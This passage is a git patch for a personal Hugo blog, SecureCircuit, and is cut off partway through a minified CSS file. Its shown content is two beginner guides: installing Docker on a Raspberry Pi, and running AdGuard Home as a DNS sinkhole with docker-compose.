From b1c8d9a5b7b06232a6f895a916c65f41bc3ce3f6 Mon Sep 17 00:00:00 2001 From: Reith <35187140+Reith77@users.noreply.github.com> Date: Sun, 20 Oct 2024 10:41:24 +0530 Subject: [PATCH] Last Built on Sun Oct 20 05:11:24 UTC 2024 --- 404.html | 13 + CNAME | 1 + android-chrome-192x192.png | Bin 0 -> 2138 bytes android-chrome-512x512.png | Bin 0 -> 8978 bytes apple-touch-icon.png | Bin 0 -> 2248 bytes blog/adguard-unbound-pi/feature.svg | 26 ++ blog/adguard-unbound-pi/index.html | 48 +++ blog/docker-raspi-install/feature.svg | 22 ++ blog/docker-raspi-install/index.html | 35 ++ blog/index.html | 15 + blog/index.xml | 1 + blog/page/1/index.html | 2 + categories/index.html | 13 + categories/index.xml | 1 + ...42b42177f262af7e64494febb956b9042bbebb.css | 1 + favicon-16x16.png | Bin 0 -> 229 bytes favicon-32x32.png | Bin 0 -> 307 bytes favicon.ico | Bin 0 -> 15406 bytes index.html | 18 + index.xml | 1 + ...0bdc39787034cf2cc34d4669fbc9977c929023c.js | 1 + ...c5f8822c42c5513e10bf7a86bbe8f82118cd1fc.js | 12 + page/1/index.html | 2 + site.webmanifest | 21 + sitemap.xml | 1 + tags/boot2root/index.html | 14 + tags/boot2root/index.xml | 1 + tags/boot2root/page/1/index.html | 2 + tags/index.html | 17 + tags/index.xml | 1 + tags/linux/index.html | 16 + tags/linux/index.xml | 1 + tags/linux/page/1/index.html | 2 + writeups/basic-pentesting/dev.txt.png | Bin 0 -> 35077 bytes writeups/basic-pentesting/hydra.png | Bin 0 -> 27227 bytes writeups/basic-pentesting/index.html | 219 +++++++++++ writeups/basic-pentesting/jay.txt.png | Bin 0 -> 18607 bytes writeups/basic-pentesting/robots.png | Bin 0 -> 16010 bytes writeups/basic-pentesting/site.png | Bin 0 -> 11711 bytes .../site_hu5817122507507008340.webp | Bin 0 -> 4374 bytes writeups/index.html | 14 + writeups/index.xml | 1 + writeups/kioptrix/index.html | 361 ++++++++++++++++++ writeups/page/1/index.html | 2 + 44 files changed, 885 insertions(+) create mode 100644 404.html create mode 100644 CNAME create mode 100644 android-chrome-192x192.png create mode 100644 android-chrome-512x512.png create mode 100644 apple-touch-icon.png create mode 100644 blog/adguard-unbound-pi/feature.svg create mode 100644 blog/adguard-unbound-pi/index.html create mode 100644 blog/docker-raspi-install/feature.svg create mode 100644 blog/docker-raspi-install/index.html create mode 100644 blog/index.html create mode 100644 blog/index.xml create mode 100644 blog/page/1/index.html create mode 100644 categories/index.html create mode 100644 categories/index.xml create mode 100644 css/main.bundle.min.b5e8695f209132eefe7c83e51242b42177f262af7e64494febb956b9042bbebb.css create mode 100644 favicon-16x16.png create mode 100644 favicon-32x32.png create mode 100644 favicon.ico create mode 100644 index.html create mode 100644 index.xml create mode 100644 js/appearance.min.8a082f81b27f3cb2ee528df0b0bdc39787034cf2cc34d4669fbc9977c929023c.js create mode 100644 js/main.bundle.min.bb487ad6073790cb02c354ee8c5f8822c42c5513e10bf7a86bbe8f82118cd1fc.js create mode 100644 page/1/index.html create mode 100644 site.webmanifest create mode 100644 sitemap.xml create mode 100644 tags/boot2root/index.html create mode 100644 tags/boot2root/index.xml create mode 100644 tags/boot2root/page/1/index.html create mode 100644 tags/index.html create mode 100644 tags/index.xml create mode 100644 tags/linux/index.html create mode 100644 tags/linux/index.xml create mode 100644 tags/linux/page/1/index.html create mode 100644 writeups/basic-pentesting/dev.txt.png create mode 100644 writeups/basic-pentesting/hydra.png create mode 100644 writeups/basic-pentesting/index.html create mode 100644 writeups/basic-pentesting/jay.txt.png create mode 100644 writeups/basic-pentesting/robots.png create mode 100644 writeups/basic-pentesting/site.png create mode 100644 writeups/basic-pentesting/site_hu5817122507507008340.webp create mode 100644 writeups/index.html create mode 100644 writeups/index.xml create mode 100644 writeups/kioptrix/index.html create mode 100644 writeups/page/1/index.html diff --git a/404.html b/404.html new file mode 100644 index 0000000..f30d8e5 --- /dev/null +++ b/404.html @@ -0,0 +1,13 @@ +404 Page not found · SecureCircuit +
Skip to main content

Page Not Found 😕

Error 404

It seems that the page you've requested does not exist.

\ No newline at end of file diff --git a/CNAME b/CNAME new file mode 100644 index 0000000..4a71d8f --- /dev/null +++ b/CNAME @@ -0,0 +1 @@ +www.securecircuit.fyi diff --git a/android-chrome-192x192.png b/android-chrome-192x192.png new file mode 100644 index 0000000000000000000000000000000000000000..eeb320e32bbaf3ad8cf6a0367d1f03b56cdd05cf GIT binary patch literal 2138 zcmeHI`7_%I6#phtNgOM-hmLkPQFT|+R$EJ|3F4{^s)|`xX1i`{tI;^BiLi|UXld_Uw1n{A`#G+`7i*K7zjWPB{HbX0046N zAV5yWpu=1~_}?l!U+zEuP)Nj@bOQjCV@EJ|i3F`Oi2*MD#~!lC{>2U5grhn7bV@M1 zomT7=aK6ubv0&C(*EWHo>7EOBy)zWop4Ed^SgZKM;!T_|t>7Nl!YN1lLPpl}-rg~C zXpredG6M$6kTjx<$o>lpt?#4q7??5lABM75w?8B>i+-%02>puxB<&~r`;Rgy3z}*&Q0B+VRb=97#`U*weLJyYwBoElYYP**zE5eG zi(0cF4Iy-!TZV7ct`r3ULQ4rQE;N}O2m*m3HRqV-RTLuww|CvzY|vn7o5A_$GxGG; zTBgV;jB{;Gn`A{!3BrM`q^zmYUNMn7n>uGn@v#UHS9J=bpN-od_S{ufH@jgEJ~4&) zyly)Kg+Y$N36i;s0Z}HlssMurS8Dg|r$#9O2(9!zFQ6>xg--odP#NdzBxP_71c9e) zLsY;pyvlPpDt3DZo(6>DnE==}EpG#chki+Z8OZ;68DbUFJq95#%=f5Qo`U{3tIWIfYth9`0uM9IjaXf zRB4^T<6B3P?r6N>9CTD>*L8e09ZXuE5U_MrKK<;to_4$1ob(Nx6QqNloZM=1biK=4 z-g!DPH`0yd*LHyYu@54j`IVe3ug`5W;cKEf-}>0BZW|Tv3hOKPABU-jAQl<;m;#*S zx}B8+q0)jB_YWEn Bwr2nU literal 0 HcmV?d00001 diff --git a/android-chrome-512x512.png b/android-chrome-512x512.png new file mode 100644 index 0000000000000000000000000000000000000000..698731a51c4bc72efcdb46d64ae4e97333ae35cb GIT binary patch literal 8978 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 DaLzrq literal 0 HcmV?d00001 diff --git a/blog/adguard-unbound-pi/feature.svg b/blog/adguard-unbound-pi/feature.svg new file mode 100644 index 0000000..0cdb04f --- /dev/null +++ b/blog/adguard-unbound-pi/feature.svg @@ -0,0 +1,26 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/blog/adguard-unbound-pi/index.html b/blog/adguard-unbound-pi/index.html new file mode 100644 index 0000000..9cf1ec3 --- /dev/null +++ b/blog/adguard-unbound-pi/index.html @@ -0,0 +1,48 @@ +Adguard on a Pi · SecureCircuit +
  1. Blog/

Adguard on a Pi

·773 words·4 mins

In a recent post, we setup docker on a Raspberry Pi. In this post, we will look into how we can use docker to run a few nice to have services, at home in a quick and easy manner.

Docker Containers & Images #

Docker containers are an entire application packaged to be run in an isolated environment. A docker image is in a way, like the blueprint to build a container (ie) using one image we could deploy multiple different containers running the same service.

Now this is all fine and dandy, however we now have a problem, where do we get these docker images ?

Well that’s easy, a whole bunch of images can be found on this site hosted by Docker.

To get these images onto our computer we can run the following command in the terminal:

docker pull <image name>
+

To get rid of any image we not longer want, we run the command:

docker rmi <image name>
+
+Please by aware that starting a container requires the image for that container to be present.

Once we have are image, we can create a container from it by running the command:

docker run <options> <image name>
+

Setting up Adguard #

Before we run any commands or set anything up, we need to understand what exactly we are doing.

The first and major question would be what is adguard and why should we set it up ?

What is Adguard ? #

Adguard is an opensource DNS sinkhole hosted on Github. Now that explains everything and nothing depending on your networking knowledge, so let me explain what a DNS sinkhole is.

To do this we must first understand a small amount of networking, so grab a notebook and follow along.

Every device connected to the internet has an address the same way every house an address. So if your computer needs to connect to https://blog.reith77.tk, your computer needs the address of the server on which the website is hosted (running).

Now unlike the human addressing system, computers use IP address. An IP address is a set of 4 numbers from 0-255 split by a ’ . '

So an example IP address would be 192.168.1.1

Since IP addresses often change and are bought and sold commercially, we can’t hard code the address of every website or service we would like to access, nor is it practical to connect to a website by typing in a IP address.

To get around this, Domain Name System (DNS) was introduced. DNS basically convert between hostnames (Eg: https://www.google.com ) and their IP addresses.

So when a computer wants to connect to a website and doesn’t know it’s IP address, it contacts a DNS server, generally hosted on port 53 (this will be important later), and gets the address for that website and establishes a conncetion.

So we’ve figured out what DNS is, but what is a DNS sinkhole ? A DNS sinkhole is basically a blackhole for DNS queries. Let’s assume that we don’t want anyone to connect to https://youtube.com. Well whenever a DNS request for youtube is made, we could send them to an address like 0.0.0.0, now since youtube clearly doesn’t live at this address, no computer using your DNS will be able to connect.

Installing Adguard #

To install adguard we will obviously be using docker.

We will first require the docker image for adguard home.

docker pull adguard/adguardhome
+

Once we have our image we can create a folder on our raspberry pi, for all our adguard related files (Ex: ~/Adguard).

Within this folder, we need to create a file named docker-compose.yml and copy paste the following contents into the file.

services:
+  adguard:
+    container_name: Adguard
+    restart: unless-stopped
+    image: adguard/adguardhome
+    volumes:
+      - ./work:/opt/adguardhome/work
+      - ./conf:/opt/adguardhome/conf
+    ports: 
+      - 53:53/tcp
+      - 53:53/udp
+      - 80:80/tcp
+      - 443:443/tcp
+      - 443:443/udp
+      - 3000:3000/tcp
+

Once we have this file created, we need to ensure we run the command in the same directory or folder which that file is is.

+The first command run below may vary for you depending on what folder you decided to use. Once you have opened the terminal in the proper folder, the second command can be run.
cd ~/Adgaurd
+docker-compose up -d
+

This should have started the adguard server, and you should now be able to access the dashboard for adguard at http://<YOUR RASPBERRY PI ADDRESS>:80. To learn more about how to configure Adguard checkout this wiki

If you would like to stop running adguard at any point, all we need to do is open a terminal at the same folder and run the following command

docker-compose down
+

Have fun and let me know how it goes !!!

\ No newline at end of file diff --git a/blog/docker-raspi-install/feature.svg b/blog/docker-raspi-install/feature.svg new file mode 100644 index 0000000..e18d5ce --- /dev/null +++ b/blog/docker-raspi-install/feature.svg @@ -0,0 +1,22 @@ + + + + + + + + + + + + + + + + + + + + + + diff --git a/blog/docker-raspi-install/index.html b/blog/docker-raspi-install/index.html new file mode 100644 index 0000000..6785bfb --- /dev/null +++ b/blog/docker-raspi-install/index.html @@ -0,0 +1,35 @@ +Installing Docker & Docker Compose on Raspberry Pi · SecureCircuit +
  1. Blog/

Installing Docker & Docker Compose on Raspberry Pi +

·365 words·2 mins
Docker Logo

What is Docker & Docker Compose ? #

Docker is method to easily deploy and maintain applications in containers.

Containers are isolated prepackaged environments that include all dependancies required to run a certain piece or set of software. This makes it easy for developers to ship and deploy their software without having to worry about the environment or dependancy issues on the end users machine

Docker compose, essentially is one file that specifies how multiple docker containers are laid out in a network as well as the configuration of each individual container. Using a docker-compose.yml file, multiple services can be run with one command.

Why install Docker ? #

Docker can be used to run a variety of services like:

  • a full web stack
  • running a small game server

In later posts, we will look into using docker on a Raspberry Pi to block ads on a network scale rather than use adblock on every machine.

Installation Steps #

Docker #

+The following guide has been written and tested on a Raspberry Pi 3B+

Before we install anything, we need to first ensure the Pi is updated.

sudo apt update && sudo apt upgrade
+

Now that the Pi is upgraded with the latest software.

curl -sSL https://get.docker.com -o ./docker-install.sh
+

Take a moment to review the contents of the install file looking for any suspicious lines of code. After you’re satisfied go ahead and run the next command.

sudo sh ./docker-install.sh
+

Let the installation finish, now before we can run use docker, we must give our current user the permissions to use docker. We first find our username by running the id command, then adding our user to the docker group.

$ id
+uid=1000(reith)....
+
+$ sudo usermod -aG docker reith
+

Now we can test docker by running the following command:

docker run hello-world
+

If there are no errors, and docker outputs a “hello world” message, docker has been installed successfully and we can get rid of docker-install.sh if we’d like.

Docker Compose #

To install docker compose we first need to install python3.

sudo apt install python3 python3-pip
+

Now we can install docker-compose by running the command:

sudo pip3 install docker-compose
+

To test if docker-compose is installed, run docker-compose -v

\ No newline at end of file diff --git a/blog/index.html b/blog/index.html new file mode 100644 index 0000000..000f797 --- /dev/null +++ b/blog/index.html @@ -0,0 +1,15 @@ +Blog · SecureCircuit +

Blog

2023


\ No newline at end of file diff --git a/blog/index.xml b/blog/index.xml new file mode 100644 index 0000000..249e1c5 --- /dev/null +++ b/blog/index.xml @@ -0,0 +1 @@ +Blog on SecureCircuithttps://your_domain.com/blog/Recent content in Blog on SecureCircuitHugoenSun, 02 Apr 2023 19:25:11 +0530Adguard on a Pihttps://your_domain.com/blog/adguard-unbound-pi/Sun, 02 Apr 2023 19:25:11 +0530https://your_domain.com/blog/adguard-unbound-pi/Installing Docker & Docker Compose on Raspberry Pihttps://your_domain.com/blog/docker-raspi-install/Thu, 16 Mar 2023 10:10:31 +0530https://your_domain.com/blog/docker-raspi-install/ \ No newline at end of file diff --git a/blog/page/1/index.html b/blog/page/1/index.html new file mode 100644 index 0000000..87de865 --- /dev/null +++ b/blog/page/1/index.html @@ -0,0 +1,2 @@ +https://your_domain.com/blog/ + \ No newline at end of file diff --git a/categories/index.html b/categories/index.html new file mode 100644 index 0000000..0b523ec --- /dev/null +++ b/categories/index.html @@ -0,0 +1,13 @@ +Categories · SecureCircuit +

Categories

\ No newline at end of file diff --git a/categories/index.xml b/categories/index.xml new file mode 100644 index 0000000..6361367 --- /dev/null +++ b/categories/index.xml @@ -0,0 +1 @@ +Categories on SecureCircuithttps://your_domain.com/categories/Recent content in Categories on SecureCircuitHugoen \ No newline at end of file diff --git a/css/main.bundle.min.b5e8695f209132eefe7c83e51242b42177f262af7e64494febb956b9042bbebb.css b/css/main.bundle.min.b5e8695f209132eefe7c83e51242b42177f262af7e64494febb956b9042bbebb.css new file mode 100644 index 0000000..fbcd88b --- /dev/null +++ b/css/main.bundle.min.b5e8695f209132eefe7c83e51242b42177f262af7e64494febb956b9042bbebb.css @@ -0,0 +1 @@ +:root{--color-neutral:202, 211, 245;--color-neutral-50:245, 245, 250;--color-neutral-100:235, 236, 243;--color-neutral-200:210, 212, 229;--color-neutral-300:171, 177, 206;--color-neutral-400:125, 133, 179;--color-neutral-500:93, 103, 154;--color-neutral-600:73, 80, 128;--color-neutral-700:60, 65, 104;--color-neutral-800:36, 39, 58;--color-neutral-900:47, 50, 75;--color-neutral-950:24, 25, 38;--color-primary-50:244, 251, 242;--color-primary-100:231, 246, 226;--color-primary-200:208, 236, 198;--color-primary-300:166, 218, 149;--color-primary-400:124, 195, 101;--color-primary-500:89, 167, 64;--color-primary-600:69, 137, 48;--color-primary-700:57, 108, 41;--color-primary-800:48, 86, 37;--color-primary-900:41, 71, 32;--color-primary-950:18, 38, 13;--color-secondary-50:243, 250, 249;--color-secondary-100:213, 242, 236;--color-secondary-200:171, 228, 217;--color-secondary-300:139, 213, 202;--color-secondary-400:78, 179, 168;--color-secondary-500:52, 152, 142;--color-secondary-600:39, 122, 115;--color-secondary-700:35, 98, 94;--color-secondary-800:32, 79, 76;--color-secondary-900:31, 66, 64;--color-secondary-950:12, 39, 28}/*!Congo v2.9.0 | MIT License | https://github.com/jpanther/congo*//*!tailwindcss v3.4.10 | MIT License | https://tailwindcss.com*/*,::before,::after{box-sizing:border-box;border-width:0;border-style:solid;border-color:initial}::before,::after{--tw-content:''}html,:host{line-height:1.5;-webkit-text-size-adjust:100%;-moz-tab-size:4;-o-tab-size:4;tab-size:4;font-family:ui-sans-serif,system-ui,sans-serif,apple color emoji,segoe ui emoji,segoe ui symbol,noto color emoji;font-feature-settings:normal;font-variation-settings:normal;-webkit-tap-highlight-color:transparent}body{margin:0;line-height:inherit}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,samp,pre{font-family:ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,liberation mono,courier new,monospace;font-feature-settings:normal;font-variation-settings:normal;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}table{text-indent:0;border-color:inherit;border-collapse:collapse}button,input,optgroup,select,textarea{font-family:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-size:100%;font-weight:inherit;line-height:inherit;letter-spacing:inherit;color:inherit;margin:0;padding:0}button,select{text-transform:none}button,input:where([type=button]),input:where([type=reset]),input:where([type=submit]){-webkit-appearance:button;background-color:transparent;background-image:none}:-moz-focusring{outline:auto}:-moz-ui-invalid{box-shadow:none}progress{vertical-align:baseline}::-webkit-inner-spin-button,::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}summary{display:list-item}blockquote,dl,dd,h1,h2,h3,h4,h5,h6,hr,figure,p,pre{margin:0}fieldset{margin:0;padding:0}legend{padding:0}ol,ul,menu{list-style:none;margin:0;padding:0}dialog{padding:0}textarea{resize:vertical}input::-moz-placeholder,textarea::-moz-placeholder{opacity:1;color:#9ca3af}input::placeholder,textarea::placeholder{opacity:1;color:#9ca3af}button,[role=button]{cursor:pointer}:disabled{cursor:default}img,svg,video,canvas,audio,iframe,embed,object{display:block;vertical-align:middle}img,video{max-width:100%;height:auto}[hidden]{display:none}*,::before,::after{--tw-border-spacing-x:0;--tw-border-spacing-y:0;--tw-translate-x:0;--tw-translate-y:0;--tw-rotate:0;--tw-skew-x:0;--tw-skew-y:0;--tw-scale-x:1;--tw-scale-y:1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness:proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-color:rgb(59 130 246 / 0.5);--tw-ring-offset-shadow:0 0 #0000;--tw-ring-shadow:0 0 #0000;--tw-shadow:0 0 #0000;--tw-shadow-colored:0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }::backdrop{--tw-border-spacing-x:0;--tw-border-spacing-y:0;--tw-translate-x:0;--tw-translate-y:0;--tw-rotate:0;--tw-skew-x:0;--tw-skew-y:0;--tw-scale-x:1;--tw-scale-y:1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness:proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-color:rgb(59 130 246 / 0.5);--tw-ring-offset-shadow:0 0 #0000;--tw-ring-shadow:0 0 #0000;--tw-shadow:0 0 #0000;--tw-shadow-colored:0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }.prose{color:var(--tw-prose-body);max-width:65ch}.prose :where(p):not(:where([class~=not-prose],[class~=not-prose] *)){margin-top:1.25em;margin-bottom:1.25em}.prose :where([class~=lead]):not(:where([class~=not-prose],[class~=not-prose] *)){color:var(--tw-prose-lead);font-size:1.25em;line-height:1.6;margin-top:1.2em;margin-bottom:1.2em}.prose :where(a):not(:where([class~=not-prose],[class~=not-prose] *)){color:var(--tw-prose-links);text-decoration:underline;font-weight:500;text-decoration-color:rgba(var(--color-primary-300),1)}.prose :where(a):not(:where([class~=not-prose],[class~=not-prose] *)):hover{color:rgba(var(--color-neutral),1);text-decoration:none;background-color:rgba(var(--color-primary-600),1);border-radius:.09rem}.prose :where(strong):not(:where([class~=not-prose],[class~=not-prose] *)){color:var(--tw-prose-bold);font-weight:600}.prose :where(a strong):not(:where([class~=not-prose],[class~=not-prose] *)){color:inherit}.prose :where(blockquote strong):not(:where([class~=not-prose],[class~=not-prose] *)){color:inherit}.prose :where(thead th strong):not(:where([class~=not-prose],[class~=not-prose] *)){color:inherit}.prose :where(ol):not(:where([class~=not-prose],[class~=not-prose] *)){list-style-type:decimal;margin-top:1.25em;margin-bottom:1.25em;padding-inline-start:1.625em}.prose :where(ol[type=A]):not(:where([class~=not-prose],[class~=not-prose] *)){list-style-type:upper-alpha}.prose :where(ol[type=a]):not(:where([class~=not-prose],[class~=not-prose] *)){list-style-type:lower-alpha}.prose :where(ol[type=As]):not(:where([class~=not-prose],[class~=not-prose] *)){list-style-type:upper-alpha}.prose :where(ol[type=as]):not(:where([class~=not-prose],[class~=not-prose] *)){list-style-type:lower-alpha}.prose :where(ol[type=I]):not(:where([class~=not-prose],[class~=not-prose] *)){list-style-type:upper-roman}.prose :where(ol[type=i]):not(:where([class~=not-prose],[class~=not-prose] *)){list-style-type:lower-roman}.prose :where(ol[type=Is]):not(:where([class~=not-prose],[class~=not-prose] *)){list-style-type:upper-roman}.prose :where(ol[type=is]):not(:where([class~=not-prose],[class~=not-prose] *)){list-style-type:lower-roman}.prose :where(ol[type="1"]):not(:where([class~=not-prose],[class~=not-prose] *)){list-style-type:decimal}.prose :where(ul):not(:where([class~=not-prose],[class~=not-prose] *)){list-style-type:disc;margin-top:1.25em;margin-bottom:1.25em;padding-inline-start:1.625em}.prose 